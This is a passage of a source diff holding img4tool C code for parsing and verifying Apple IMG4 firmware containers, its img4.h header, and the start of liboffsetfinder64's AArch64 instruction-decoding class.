}else if (tag->tagNumber == kASN1TagBOOLEAN){
printf("%s",(*(char*)tag+2 == 0) ? "false" : "true");
}else{
error("can't print unknown tag %02x\n",*(unsigned char*)tag);
}
}
void asn1PrintRecKeyVal(char *buf){
if (((t_asn1Tag*)buf)->tagNumber == kASN1TagSEQUENCE) {
int i;
if ((i = asn1ElementsInObject(buf)) != 2){
error("expecting 2 elements found %d\n",i);
return;
}
printI5AString((t_asn1Tag*)asn1ElementAtIndex(buf, 0));
printf(": ");
asn1PrintRecKeyVal(asn1ElementAtIndex(buf, 1));
printf("\n");
return;
}else if (((t_asn1Tag*)buf)->tagNumber != kASN1TagSET){
asn1PrintValue((t_asn1Tag *)buf);
return;
}
//must be a SET
printf("------------------------------\n");
for (int i = 0; i<asn1ElementsInObject(buf); i++) {
char *elem = (char*)asn1ElementAtIndex(buf, i);
size_t sb;
printPrivtag(asn1GetPrivateTagnum((t_asn1Tag*)elem,&sb));
printf(": ");
elem+=sb;
elem += asn1Len(elem+1).sizeBytes;
asn1PrintRecKeyVal(elem);
}
}
void printMANB(char *buf, bool printAll){
#define reterror(a ...){error(a);goto error;}
char *magic;
size_t l;
getSequenceName(buf, &magic, &l);
if (strncmp("MANB", magic, l)) reterror("unexpected \"%.*s\", expected \"MANB\"\n",(int)l,magic);
int manbElemsCnt = asn1ElementsInObject(buf);
if (manbElemsCnt<2) reterror("not enough elements in MANB\n");
char *manbSeq = (char*)asn1ElementAtIndex(buf, 1);
for (int i=0; i<asn1ElementsInObject(manbSeq); i++) {
t_asn1Tag *manbElem = (t_asn1Tag*)asn1ElementAtIndex(manbSeq, i);
size_t privTag = 0;
if (*(char*)manbElem == kASN1TagPrivate) {
size_t sb;
printPrivtag(privTag = asn1GetPrivateTagnum(manbElem,&sb));
printf(": ");
manbElem+=sb;
}else manbElem++;
manbElem += asn1Len((char*)manbElem).sizeBytes;
asn1PrintRecKeyVal((char*)manbElem);
if (!printAll && strncmp((char*)&privTag, "PNAM", 4) == 0){
break;
}
}
error:
return;
#undef reterror
}
char *getSHA1ofSqeuence(char * buf){
if (((t_asn1Tag*)buf)->tagNumber != kASN1TagSEQUENCE){
error("tag not seuqnece");
return 0;
}
t_asn1ElemLen bLen = asn1Len(buf+1);
size_t buflen = 1 + bLen.dataLen + bLen.sizeBytes;
char *ret = malloc(SHA_DIGEST_LENGTH);
if (ret)
SHA1((unsigned char*)buf, (unsigned int)buflen, (unsigned char *)ret);
return ret;
}
*/
/*int hasBuildidentityElementWithHash(plist_t identity, char *hash, uint64_t hashSize){*/
/*#define reterror(a ...){rt=0;error(a);goto error;}*/
/*#define skipelem(e) if (strcmp(key, e) == 0) {[>warning("skipping element=%s\n",key);<]goto skip;} //seems to work as it is, we don't need to see that warning anymore*/
/*int rt = 0;*/
/*plist_dict_iter dictIterator = NULL;*/
/*plist_t manifest = plist_dict_get_item(identity, "Manifest");*/
/*if (!manifest)*/
/*reterror("can't find Manifest\n");*/
/*plist_t node = NULL;*/
/*char *key = NULL;*/
/*plist_dict_new_iter(manifest, &dictIterator);*/
/*plist_dict_next_item(manifest, dictIterator, &key, &node);*/
/*do {*/
/*skipelem("BasebandFirmware")*/
/*skipelem("ftap")*/
/*skipelem("ftsp")*/
/*skipelem("rfta")*/
/*skipelem("rfts")*/
/*skipelem("SE,Bootloader")*/
/*skipelem("SE,Firmware")*/
/*skipelem("SE,MigrationOS")*/
/*skipelem("SE,OS")*/
/*skipelem("SE,UpdatePayload")*/
/*plist_t digest = plist_dict_get_item(node, "Digest");*/
/*if (!digest || plist_get_node_type(digest) != PLIST_DATA)*/
/*reterror("can't find digest for key=%s\n",key);*/
/*char *dgstData = NULL;*/
/*uint64_t len = 0;*/
/*plist_get_data_val(digest, &dgstData, &len);*/
/*if (!dgstData)*/
/*reterror("can't get dgstData for key=%s.\n",key);*/
/*if (len == hashSize && memcmp(dgstData, hash, len) == 0)*/
/*rt = 1;*/
/*free(dgstData);*/
/*skip:*/
/*plist_dict_next_item(manifest, dictIterator, &key, &node);*/
/*} while (!rt && node);*/
/*error:*/
/*free(dictIterator),dictIterator = NULL;*/
/*return rt;*/
/*#undef skipelem*/
/*#undef reterror*/
/*}*/
/*plist_t findAnyBuildidentityForFilehash(plist_t identities, char *hash, uint64_t hashSize){*/
/*#define skipelem(e) if (strcmp(key, e) == 0) {[>warning("skipping element=%s\n",key);<]goto skip;} //seems to work as it is, we don't need to see that warning anymore*/
/*#define reterror(a ...){rt=NULL;error(a);goto error;}*/
/*plist_t rt = NULL;*/
/*plist_dict_iter dictIterator = NULL;*/
/*for (int i=0; !rt && i<plist_array_get_size(identities); i++) {*/
/*plist_t idi = plist_array_get_item(identities, i);*/
/*plist_t manifest = plist_dict_get_item(idi, "Manifest");*/
/*if (!manifest)*/
/*reterror("can't find Manifest. i=%d\n",i);*/
/*plist_t node = NULL;*/
/*char *key = NULL;*/
/*plist_dict_new_iter(manifest, &dictIterator);*/
/*plist_dict_next_item(manifest, dictIterator, &key, &node);*/
/*do {*/
/*skipelem("BasebandFirmware")*/
/*skipelem("ftap")*/
/*skipelem("ftsp")*/
/*skipelem("rfta")*/
/*skipelem("rfts")*/
/*plist_t digest = plist_dict_get_item(node, "Digest");*/
/*if (!digest || plist_get_node_type(digest) != PLIST_DATA)*/
/*reterror("can't find digest for key=%s. i=%d\n",key,i);*/
/*char *dgstData = NULL;*/
/*uint64_t len = 0;*/
/*plist_get_data_val(digest, &dgstData, &len);*/
/*if (!dgstData)*/
/*reterror("can't get dgstData for key=%s. i=%d\n",key,i);*/
/*if (len == hashSize && memcmp(dgstData, hash, len) == 0)*/
/*rt = idi;*/
/*free(dgstData);*/
/*skip:*/
/*plist_dict_next_item(manifest, dictIterator, &key, &node);*/
/*} while (!rt && node);*/
/*free(dictIterator),dictIterator = NULL;*/
/*}*/
/*error:*/
/*if (dictIterator) free(dictIterator);*/
/*return rt;*/
/*#undef reterror*/
/*#undef skipelem*/
/*}*/
/*int doForDGSTinIM4M(const char *im4m, void *state, int (*loop_cb)(char elemNameStr[4], char *dgstData, size_t dgstDataLen, void *state)){*/
/*int err = 0;*/
/*#define reterror(code, msg ...) do {error(msg);err=code;goto error;}while(0)*/
/*if (!sequenceHasName(im4m, "IM4M"))*/
/*reterror(-1,"can't find IM4M tag\n");*/
/*char *im4mset = (char *)asn1ElementAtIndex(im4m, 2);*/
/*if (!im4mset)*/
/*reterror(-2,"can't find im4mset\n");*/
/*char *manbSeq = getValueForTagInSet(im4mset, *(uint32_t*)"BNAM");*/
/*if (!manbSeq)*/
/*reterror(-3,"can't find manbSeq\n");*/
/*char *manbSet = (char*)asn1ElementAtIndex(manbSeq, 1);*/
/*if (!manbSet)*/
/*reterror(-4,"can't find manbSet\n");*/
/*for (int i=0; i<asn1ElementsInObject(manbSet); i++) {*/
/*char *curr = asn1ElementAtIndex(manbSet, i);*/
/*size_t sb;*/
/*if (asn1GetPrivateTagnum((t_asn1Tag*)curr, &sb) == *(uint32_t*)"PNAM")*/
/*continue;*/
/*char *cSeq = (char*)curr+sb;*/
/*cSeq += asn1Len(cSeq).sizeBytes;*/
/*char *elemName = asn1ElementAtIndex(cSeq, 0);*/
/*t_asn1ElemLen elemNameLen = asn1Len(elemName+1);*/
/*char *elemNameStr = elemName + elemNameLen.sizeBytes+1;*/
/*char *elemSet = (char*)asn1ElementAtIndex(cSeq, 1);*/
/*if (!elemSet)*/
/*reterror(-5, "can't find elemSet. i=%d\n",i);*/
/*char *dgstSeq = getValueForTagInSet(elemSet, *(uint32_t*)"TSGD");*/
/*if (!dgstSeq)*/
/*reterror(-6, "can't find dgstSeq. i=%d\n",i);*/
/*char *dgst = asn1ElementAtIndex(dgstSeq, 1);*/
/*if (!dgst || asn1Tag(dgst)->tagNumber != kASN1TagOCTET)*/
/*reterror(-7, "can't find DGST. i=%d\n",i);*/
/*t_asn1ElemLen lenDGST = asn1Len((char*)dgst+1);*/
/*char *dgstData = (char*)dgst+lenDGST.sizeBytes+1;*/
/*if ((err = loop_cb(elemNameStr, dgstData, lenDGST.dataLen, state))){*/
/*if (err > 0){ //restart loop if err > 0*/
/*i = -1;*/
/*err = 0;*/
/*continue;*/
/*}*/
/*break;*/
/*}*/
/*}*/
/*error:*/
/*return err;*/
/*#undef reterror*/
/*}*/
/*int im4m_buildidentity_check_cb(char elemNameStr[4], char *dgstData, size_t dgstDataLen, struct {plist_t rt; plist_t identities;} *state){*/
/*#define skipelem(e) if (strncmp(e, elemNameStr,4) == 0) return 0*/
/*skipelem("ftsp");*/
/*skipelem("ftap");*/
/*skipelem("rfta");*/
/*skipelem("rfts");*/
/*if (state->rt){*/
/*if (!hasBuildidentityElementWithHash(state->rt, dgstData, dgstDataLen)){*/
/*//remove identity we are not looking for and start comparing all hashes again*/
/*plist_array_remove_item(state->identities, plist_array_get_item_index(state->rt));*/
/*state->rt = NULL;*/
/*return 1; //trigger loop restart*/
/*}*/
/*}else{*/
/*if (!(state->rt = findAnyBuildidentityForFilehash(state->identities, dgstData, dgstDataLen)))*/
/*return (error("can't find any identity which matches all hashes inside IM4M\n"),-1);*/
/*}*/
/*#undef skipelem*/
/*return 0;*/
/*}*/
/*plist_t getBuildIdentityForIM4M(const char *buf, const plist_t buildmanifest){*/
/*#define reterror(a ...){state.rt=NULL;error(a);goto error;}*/
/*#define skipelem(e) if (strncmp(elemNameStr, e, 4) == 0) {[>warning("skipping element=%s\n",e);<]continue;} //seems to work as it is, we don't need to see that warning anymore*/
/*plist_t manifest = plist_copy(buildmanifest);*/
/*struct {plist_t rt; plist_t identities;} state;*/
/*state.rt = NULL;*/
/*state.identities = plist_dict_get_item(manifest, "BuildIdentities");*/
/*if (!state.identities)*/
/*reterror("can't find BuildIdentities\n");*/
/*doForDGSTinIM4M(buf, (void*)&state, (int (*)(char[4], char *, size_t, void *))im4m_buildidentity_check_cb);*/
/*plist_t finfo = plist_dict_get_item(state.rt, "Info");*/
/*plist_t fdevclass = plist_dict_get_item(finfo, "DeviceClass");*/
/*plist_t fresbeh = plist_dict_get_item(finfo, "RestoreBehavior");*/
/*if (!finfo || !fdevclass || !fresbeh)*/
/*reterror("found buildidentiy, but can't read information\n");*/
/*plist_t origIdentities = plist_dict_get_item(buildmanifest, "BuildIdentities");*/
/*for (int i=0; i<plist_array_get_size(origIdentities); i++) {*/
/*plist_t curr = plist_array_get_item(origIdentities, i);*/
/*plist_t cinfo = plist_dict_get_item(curr, "Info");*/
/*plist_t cdevclass = plist_dict_get_item(cinfo, "DeviceClass");*/
/*plist_t cresbeh = plist_dict_get_item(cinfo, "RestoreBehavior");*/
/*if (plist_compare_node_value(cresbeh, fresbeh) && plist_compare_node_value(cdevclass, fdevclass)) {*/
/*state.rt = curr;*/
/*goto error;*/
/*}*/
/*}*/
/*//fails if loop ended without jumping to error*/
/*reterror("found indentity, but failed to match it with orig copy\n");*/
/*error:*/
/*plist_free(manifest);*/
/*return state.rt;*/
/*#undef reterror*/
/*}*/
/*void printGeneralBuildIdentityInformation(plist_t buildidentity){*/
/*plist_t info = plist_dict_get_item(buildidentity, "Info");*/
/*plist_dict_iter iter = NULL;*/
/*plist_dict_new_iter(info, &iter);*/
/*plist_type t;*/
/*plist_t node = NULL;*/
/*char *key = NULL;*/
/*while (plist_dict_next_item(info, iter, &key, &node),node) {*/
/*char *str = NULL;*/
/*switch (t = plist_get_node_type(node)) {*/
/*case PLIST_STRING:*/
/*plist_get_string_val(node, &str);*/
/*printf("%s : %s\n",key,str);*/
/*break;*/
/*case PLIST_BOOLEAN:*/
/*plist_get_bool_val(node, (uint8_t*)&t);*/
/*printf("%s : %s\n",key,((uint8_t)t) ? "YES" : "NO" );*/
/*default:*/
/*break;*/
/*}*/
/*if (str) free(str);*/
/*}*/
/*if (iter) free(iter);*/
/*}*/
/*int verify_signature(char *data, char *sig, char *certificate, int useSHA384){*/
/*#ifndef IMG4TOOL_NOOPENSSL*/
/*//return 0 if signature valid, 1 if invalid, <0 if error occured*/
/*int err = 0;*/
/*EVP_MD_CTX *mdctx = NULL;*/
/*#define reterror(a ...){err=1;error(a);goto error;}*/
/*t_asn1ElemLen dataSize = asn1Len(data+1);*/
/*t_asn1ElemLen sigSize = asn1Len(sig+1);*/
/*t_asn1ElemLen certSize = asn1Len(certificate+1);*/
/*X509 *cert = d2i_X509(NULL, (const unsigned char**)&certificate, certSize.dataLen + certSize.sizeBytes + 1);*/
/*EVP_PKEY *certpubkey = X509_get_pubkey(cert);*/
/*retassure(-1, mdctx = EVP_MD_CTX_create());*/
/*retassure(-2, EVP_DigestVerifyInit(mdctx, NULL, (useSHA384) ? EVP_sha384() : EVP_sha1(), NULL, certpubkey) == 1);*/
/*retassure(-3,EVP_DigestVerifyUpdate(mdctx, data, dataSize.dataLen + dataSize.sizeBytes +1) == 1);*/
/*err = (EVP_DigestVerifyFinal(mdctx, (unsigned char*)sig+1 + sigSize.sizeBytes, sigSize.dataLen) != 1);*/
/*error:*/
/*if(mdctx) EVP_MD_CTX_destroy(mdctx);*/
/*return err;*/
/*#undef reterror*/
/*#else*/
/*printf("[FATAL!] can't verify signature, because img4tool was compiled without openssl\n");*/
/*return 0;*/
/*#endif*/
/*}*/
/*int find_dgst_cb(char elemNameStr[4], char *dgstData, size_t dgstDataLen, void *state){*/
/*return memcmp(dgstData, state, dgstDataLen) == 0 ? -255 : 0; //-255 is not an error in this case, but indicates that we found our hash*/
/*}*/
/*int verifyIM4MSignature(const char *buf){*/
/*int err = 0;*/
/*#define reterror(code,a ...){error(a);err=code;goto error;}*/
/*retassure(-1,asn1ElementsInObject(buf) == 5);*/
/*char *im4m = asn1ElementAtIndex(buf, 2);*/
/*char *sig = asn1ElementAtIndex(buf, 3);*/
/*char *certs = asn1ElementAtIndex(buf, 4);*/
/*int elems = 0;*/
/*retassure(-2, (elems = asn1ElementsInObject(certs)) >=1); //iPhone7 has 1 cert, while pre-iPhone7 have 2 certs*/
/*// char *bootAuthority = asn1ElementAtIndex(certs, 0); //does not exist on iPhone7*/
/*char *tssAuthority = asn1ElementAtIndex(certs, elems-1); //is always last item*/
/*err = verify_signature(im4m, sig, tssAuthority, elems < 2); //use SHA384 if elems is 2 otherwise use SHA1*/
/*error:*/
/*return err;*/
/*#undef reterror*/
/*}*/
/*char *getBNCHFromIM4M(const char* im4m, size_t *nonceSize){*/
/*#define reterror(a ...){error(a);ret=NULL;goto error;}*/
/*char *ret = NULL;*/
/*char *mainSet = NULL;*/
/*char *manbSet = NULL;*/
/*char *manpSet = NULL;*/
/*char *nonceOctet = NULL;*/
/*char *bnch = NULL;*/
/*size_t bnchSize = 0;*/
/*char *manb = NULL;*/
/*char *manp = NULL;*/
/*char *certs = NULL;*/
/*if (!im4m) reterror("Got empty IM4M\n");*/
/*if (asn1ElementsInObject(im4m) != 5) {*/
/*error("unexpected number of Elements (%d) in IM4M sequence\n", asn1ElementsInObject(im4m));*/
/*goto error;*/
/*}*/
/*mainSet = asn1ElementAtIndex(im4m, 2);*/
/*certs = asn1ElementAtIndex(im4m, 4);*/
/*manb = getValueForTagInSet((char*)mainSet, *(uint32_t*)"BNAM"); //MANB priv Tag*/
/*if (asn1ElementsInObject(manb)< 2){*/
/*error("unexpected number of Elements in MANB sequence\n");*/
/*goto error;*/
/*}*/
/*manbSet = asn1ElementAtIndex(manb, 1);*/
/*manp = getValueForTagInSet((char*)manbSet, *(uint32_t*)"PNAM"); //MANP priv Tag*/
/*if (asn1ElementsInObject(manp)< 2){*/
/*error("unexpected number of Elements in MANP sequence\n");*/
/*goto error;*/
/*}*/
/*manpSet = asn1ElementAtIndex(manp, 1);*/
/*bnch = getValueForTagInSet((char*)manpSet, *(uint32_t*)"HCNB"); //BNCH priv Tag*/
/*if (asn1ElementsInObject(bnch)< 2){*/
/*error("unexpected number of Elements in BNCH sequence\n");*/
/*goto error;*/
/*}*/
/*nonceOctet = (char*)asn1ElementAtIndex(bnch, 1);*/
/*nonceOctet++;*/
/*ret = nonceOctet + asn1Len(nonceOctet).sizeBytes;*/
/*bnchSize = asn1Len(nonceOctet).dataLen;*/
/*// iPhone 7 and above use 32 byte nonce*/
/*if (bnchSize != (asn1ElementsInObject(certs) == 1 ? 32 : 20)) {*/
/*reterror("BNCH size incorrect\n");*/
/*}*/
/*if (nonceSize) *nonceSize = bnchSize;*/
/*error:*/
/*return ret;*/
/*#undef reterror*/
/*}*/
/*int verifyIMG4(char *buf, plist_t buildmanifest){*/
/*//return 0 on valid file, positive value on invalid file, negative value when errors occured*/
/*int err = 0;*/
/*#define reterror(code,a ...){error(a);err=code;goto error;}*/
/*char *im4pSHA = NULL;*/
/*if (sequenceHasName(buf, "IMG4")){*/
/*//verify IMG4*/
/*char *im4p = getIM4PFromIMG4(buf);*/
/*im4pSHA = getSHA1ofSqeuence(im4p);*/
/*if (!im4p) goto error;*/
/*buf = getElementFromIMG4(buf, "IM4M");*/
/*}*/
/*if (!sequenceHasName(buf, "IM4M"))*/
/*reterror(-1,"unable to find IM4M tag");*/
/*if (im4pSHA){*/
/*if (doForDGSTinIM4M(buf, im4pSHA, find_dgst_cb) == -255)*/
/*printf("[OK] IM4P is valid for the attached IM4M\n");*/
/*else*/
/*reterror(1,"IM4P can't be verified by IM4M\n");*/
/*}*/
/*if ((err = verifyIM4MSignature(buf))){*/
/*reterror((err < 0) ? err : 2, "Signature verification of IM4M failed with error=%d\n",err);*/
/*}else*/
/*printf("[OK] IM4M signature is verified by TssAuthority\n");*/
/*#warning TODO verify certificate chain*/
/*if (buildmanifest) {*/
/*plist_t identity = getBuildIdentityForIM4M(buf, buildmanifest);*/
/*if (identity){*/
/*printf("[OK] IM4M is valid for the given BuildManifest for the following restore:\n\n");*/
/*printGeneralBuildIdentityInformation(identity);*/
/*}else{*/
/*reterror(3,"IM4M is not valid for any restore within the Buildmanifest\n");*/
/*}*/
/*}else{*/
/*warning("No BuildManifest specified, can't verify restore type of APTicket\n");*/
/*}*/
/*error:*/
/*safeFree(im4pSHA);*/
/*return err;*/
/*#undef reterror*/
/*}*/
@@ -0,0 +1,138 @@
//
// img4.h
// img4tool
//
// Created by tihmstar on 15.06.16.
// Copyright © 2016 tihmstar. All rights reserved.
//
#ifndef img4_h
#define img4_h
#ifdef __cplusplus
extern "C" {
#endif
#include <stdio.h>
//#include <plist/plist.h>
#define LEN_XTND 0x80 /* Indefinite or long form */
typedef unsigned char byte;
#define putStr(s,l) printf("%.*s",(int)l,s)
//TagClass
#define kASN1TagClassUniversal 0
#define kASN1TagClassApplication 1
#define kASN1TagClassContextSpecific 2
#define kASN1TagClassPrivate 3
//primitive
#define kASN1Primitive 0
#define kASN1Contructed 1
//tagNumber
#define kASN1TagEnd_of_Content 0
#define kASN1TagBOOLEAN 1
#define kASN1TagINTEGER 2
#define kASN1TagBIT 3
#define kASN1TagOCTET 4
#define kASN1TagNULL 5
#define kASN1TagOBJECT 6
#define kASN1TagObject 7
#define kASN1TagEXTERNAL 8
#define kASN1TagREAL 9
#define kASN1TagENUMERATED 10 //0x0A
#define kASN1TagEMBEDDED 11 //0x0B
#define kASN1TagUTF8String 12 //0x0C
#define kASN1TagRELATIVE_OID 13 //0x0D
#define kASN1TagReserved (14 | 15) //(0x0E | 0x0F)
#define kASN1TagSEQUENCE 16 //0x10
#define kASN1TagSET 17 //0x11
#define kASN1TagNumericString 18 //0x12
#define kASN1TagPrintableString 19 //0x13
#define kASN1TagT61String 20 //0x14
#define kASN1TagVideotexString 21 //0x15
#define kASN1TagIA5String 22 //0x16
#define kASN1TagUTCTime 23 //0x17
#define kASN1TagGeneralizedTime 24 //0x18
#define kASN1TagGraphicString 25 //0x19
#define kASN1TagVisibleString 26 //0x1A
#define kASN1TagGeneralString 27 //0x1B
#define kASN1TagUniversalString 28 //0x1C
#define kASN1TagCHARACTER 29 //0x1D
#define kASN1TagBMPString 30 //0x1E
#define kASN1TagPrivate (char)0xff
typedef struct{
byte tagNumber : 5;
byte isConstructed : 1;
byte tagClass : 2;
}t_asn1Tag;
typedef struct{
byte len : 7;
byte isLong : 1;
}t_asn1Length;
typedef struct{
size_t dataLen;
size_t sizeBytes;
} t_asn1ElemLen;
typedef struct{
byte num : 7;
byte more : 1;
}t_asn1PrivateTag;
#ifndef __cplusplus
typedef enum{
false,
true
}bool;
#endif
//asn1
t_asn1ElemLen asn1Len(const char buf[4]);
char *ans1GetString(char *buf, char **outString, size_t *strlen);
int asn1ElementsInObject(const char *buf);
char *asn1ElementAtIndex(const char *buf, int index);
char *getValueForTagInSet(char *set, uint32_t tag);
//img4
void printIM4P(char *buf);
void printIM4R(char *buf);
void printIM4M(char *buf, bool printAll);
void printMANB(char *buf, bool printAll);
int sequenceHasName(const char *buf, char *name);
int getSequenceName(const char *buf,char**name, size_t *nameLen);
size_t asn1GetPrivateTagnum(t_asn1Tag *tag, size_t *sizebytes);
int extractFileFromIM4P(char *buf, const char *dstFilename);
void printElemsInIMG4(char *buf, bool printAll, bool im4pOnly);
char *getElementFromIMG4(char *buf, char* element);
int extractElementFromIMG4(char *buf, char* element, const char *dstFilename);
char *makeIMG4(char *im4p, char *im4m, char *im4r, size_t *size);
char *getBNCHFromIM4M(const char* im4m, size_t *nonceSize);
char *getIM4PFromIMG4(char *buf);
char *getIM4MFromIMG4(char *buf);
int replaceNameInIM4P(char *buf, const char *newName);
int verifyIM4MSignature(const char *buf);
//int verifyIMG4(char *buf, plist_t buildmanifest);
//plist_t getBuildIdentityForIM4M(const char *buf, const plist_t buildmanifest);
//void printGeneralBuildIdentityInformation(plist_t buildidentity);
char* extractPayloadFromIM4P(const char* buf, const char** compname, size_t *len);
#ifdef __cplusplus
}
#endif
#endif /* img4_h */
@@ -0,0 +1,678 @@
//
// insn.cpp
// liboffsetfinder64
//
// Created by tihmstar on 09.03.18.
// Copyright © 2018 tihmstar. All rights reserved.
//
#define LOCAL_FILENAME "insn.cpp"
#include "all_liboffsetfinder.hpp"
#include "insn.hpp"
#include "exception.hpp"
using namespace tihmstar::patchfinder64;
insn::insn(segment_t segments, loc_t p, segtype segType) : _segments(segments), _segtype(segType){
std::sort(_segments.begin(),_segments.end(),[ ]( const text_t& lhs, const text_t& rhs){
return lhs.base < rhs.base;
});
if (_segtype != kText_and_Data) {
_segments.erase(std::remove_if(_segments.begin(), _segments.end(), [&](const text_t obj){
return (!obj.isExec) == (_segtype == kText_only);
}));
}
if (p == 0) {
p = _segments.at(0).base;
}
for (int i=0; i<_segments.size(); i++){
auto seg = _segments[i];
if ((loc_t)seg.base <= p && p < (loc_t)seg.base+seg.size){
_p = {p,i};
return;
}
}
throw out_of_range("initializing insn with out of range location");
}
insn::insn(const insn &cpy, loc_t p){
_segments = cpy._segments;
_segtype = cpy._segtype;
if (p==0) {
_p = cpy._p;
}else{
for (int i=0; i<_segments.size(); i++){
auto seg = _segments[i];
if ((loc_t)seg.base <= p && p < (loc_t)seg.base+seg.size){
_p = {p,i};
return;
}
}
throw out_of_range("initializing insn with out of range location");
}
}
insn &insn::operator++(){
_p.first+=4;
if (_p.first >=_segments[_p.second].base+_segments[_p.second].size){
if (_p.second+1 < _segments.size()) {
_p.first = _segments[++_p.second].base;
}else{
_p.first-=4;
throw out_of_range("overflow");
}
}
return *this;
}
insn &insn::operator--(){
_p.first-=4;
if (_p.first < _segments[_p.second].base){
if (_p.second-1 >0) {
--_p.second;
_p.first = _segments[_p.second].base+_segments[_p.second].size;
}else{
_p.first+=4;
throw out_of_range("underflow");
}
}
return *this;
}
insn insn::operator+(int i){
insn cpy(*this);
if (i>0) {
while (i--)
++cpy;
}else{
while (i++)
--cpy;
}
return cpy;
}
insn insn::operator-(int i){
return this->operator+(-i);
}
insn &insn::operator+=(int i){
if (i>0) {
while (i-->0)
this->operator++();
}else{
while (i++>0)
this->operator--();
}
return *this;
}
insn &insn::operator-=(int i){
return this->operator+=(-i);
}
insn &insn::operator=(loc_t p){
for (int i=0; i<_segments.size(); i++){
auto seg = _segments[i];
if ((loc_t)seg.base <= p && p < (loc_t)seg.base+seg.size){
_p = {p,i};
return *this;
}
}
throw out_of_range("initializing insn with out of range location");
}
#pragma mark reference manual helpers
__attribute__((always_inline)) static int64_t signExtend64(uint64_t v, int vSize){
uint64_t e = (v & 1 << (vSize-1))>>(vSize-1);
for (int i=vSize; i<64; i++)
v |= e << i;
return v;
}
__attribute__((always_inline)) static int highestSetBit(uint64_t x){
for (int i=63; i>=0; i--) {
if (x & ((uint64_t)1<<i))
return i;
}
return -1;
}
__attribute__((always_inline)) static int lowestSetBit(uint64_t x){
for (int i=0; i<=63; i++) {
if (x & (1<<i))
return i;
}
return 64;
}
__attribute__((always_inline)) static uint64_t replicate(uint64_t val, int bits){
uint64_t ret = val;
unsigned shift;
for (shift = bits; shift < 64; shift += bits) { // XXX actually, it is either 32 or 64
ret |= (val << shift);
}
return ret;
}
__attribute__((always_inline)) static uint64_t ones(uint64_t n){
uint64_t ret = 0;
while (n--) {
ret <<=1;
ret |= 1;
}
return ret;
}
__attribute__((always_inline)) static uint64_t ROR(uint64_t x, int shift, int len){
while (shift--) {
x |= (x & 1) << len;
x >>=1;
}
return x;
}
static inline uint64_t ror(uint64_t elt, unsigned size)
{
return ((elt & 1) << (size-1)) | (elt >> 1);
}
static inline uint64_t AArch64_AM_decodeLogicalImmediate(uint64_t val, unsigned regSize)
{
// Extract the N, imms, and immr fields.
unsigned N = (val >> 12) & 1;
unsigned immr = (val >> 6) & 0x3f;
unsigned imms = val & 0x3f;
unsigned i;
// assert((regSize == 64 || N == 0) && "undefined logical immediate encoding");
// int len = 31 - countLeadingZeros((N << 6) | (~imms & 0x3f));
int len = highestSetBit( (uint64_t)((N<<6) | ((~imms) & 0b111111)) );
// assert(len >= 0 && "undefined logical immediate encoding");
unsigned size = (1 << len);
unsigned R = immr & (size - 1);
unsigned S = imms & (size - 1);
// assert(S != size - 1 && "undefined logical immediate encoding");
uint64_t pattern = (1ULL << (S + 1)) - 1;
for (i = 0; i < R; ++i)
pattern = ror(pattern, size);
// Replicate the pattern to fill the regSize.
while (size != regSize) {
pattern |= (pattern << size);
size *= 2;
}
return pattern;
}
__attribute__((always_inline)) static std::pair<int64_t, int64_t> DecodeBitMasks(uint64_t immN, uint8_t imms, uint8_t immr, bool immediate){
uint64_t tmask = 0, wmask = 0;
int8_t levels = 0; //6bit
int len = highestSetBit( (uint64_t)((immN<<6) | ((~imms) & 0b111111)) );
assure(len != -1); //reserved value
levels = ones(len);
assure(immediate && (imms & levels) != levels); //reserved value
uint8_t S = imms & levels;
uint8_t R = immr & levels;
uint8_t esize = 1 << len;
uint8_t diff = S - R; // 6-bit subtract with borrow
uint8_t d = (diff & ((1<<len)-1)) << 1;
uint64_t welem = ones(S + 1);
uint64_t telem = ones(d + 1);
uint64_t asd = ROR(welem, R, 32);
wmask = replicate(ROR(welem, R, 32),esize);
tmask = replicate(telem,esize);
//#warning TODO incomplete function implementation!
return {wmask,tmask};
}
#pragma mark bridges
uint64_t insn::pc(){
return (uint64_t)_p.first;
}
uint32_t insn::value(){
return *(uint32_t*)(_p.first - _segments[_p.second].base + _segments[_p.second].map);
}
uint64_t insn::doublevalue(){
return *(uint64_t*)(_p.first - _segments[_p.second].base + _segments[_p.second].map);
}
#pragma mark static type determinition
uint64_t insn::deref(segment_t segments, loc_t p){
return insn(segments, p, insn::kText_and_Data).doublevalue();
}
bool insn::is_adrp(uint32_t i){
return BIT_RANGE(i, 24, 28) == 0b10000 && (i>>31);
}
bool insn::is_adr(uint32_t i){
return BIT_RANGE(i, 24, 28) == 0b10000 && !(i>>31);
}
bool insn::is_add(uint32_t i){
return BIT_RANGE(i, 24, 28) == 0b10001;
}
bool insn::is_bl(uint32_t i){
return (i>>26) == 0b100101;
}
bool insn::is_cbz(uint32_t i){
return BIT_RANGE(i, 24, 30) == 0b0110100;
}
bool insn::is_ret(uint32_t i){
return ((0b11111 << 5) | i) == 0b11010110010111110000001111100000;
}
bool insn::is_tbnz(uint32_t i){
return BIT_RANGE(i, 24, 30) == 0b0110111;
}
bool insn::is_br(uint32_t i){
return ((0b11111 << 5) | i) == 0b11010110000111110000001111100000;
}
bool insn::is_ldr(uint32_t i){
//#warning TODO recheck this mask
return (((i>>22) | 0b0100000000) == 0b1111100001 && ((i>>10) % 4)) || ((i>>22 | 0b0100000000) == 0b1111100101) || ((i>>23) == 0b00011000);
}
bool insn::is_cbnz(uint32_t i){
return BIT_RANGE(i, 24, 30) == 0b0110101;
}
bool insn::is_movk(uint32_t i){
return BIT_RANGE(i, 23, 30) == 0b11100101;
}
bool insn::is_orr(uint32_t i){
return BIT_RANGE(i, 23, 30) == 0b01100100;
}
bool insn::is_and(uint32_t i){
return BIT_RANGE(i, 23, 30) == 0b00100100; //immediate
// return BIT_RANGE(i, 24, 30) == 0b0001010; //shifted register
}
bool insn::is_tbz(uint32_t i){
return BIT_RANGE(i, 24, 30) == 0b0110110;
}
bool insn::is_ldxr(uint32_t i){
return (BIT_RANGE(i, 24, 29) == 0b001000) && (i >> 31) && BIT_AT(i, 22);
}
bool insn::is_ldrb(uint32_t i){
return BIT_RANGE(i, 21, 31) == 0b00111000010 || //Immediate post/pre -indexed
BIT_RANGE(i, 22, 31) == 0b0011100101 || //Immediate unsigned offset
(BIT_RANGE(i, 21, 31) == 0b00111000011 && BIT_RANGE(i, 10, 11) == 0b10); //Register
}
bool insn::is_str(uint32_t i){
//#warning TODO redo this! currently only recognises STR (immediate)
return (BIT_RANGE(i, 22, 29) == 0b11100100) && (i >> 31);
}
bool insn::is_stp(uint32_t i){
//#warning TODO redo this! currently only recognises STR (immediate)
return (BIT_RANGE(i, 25, 30) == 0b010100) && !BIT_AT(i, 22);
}
bool insn::is_movz(uint32_t i){
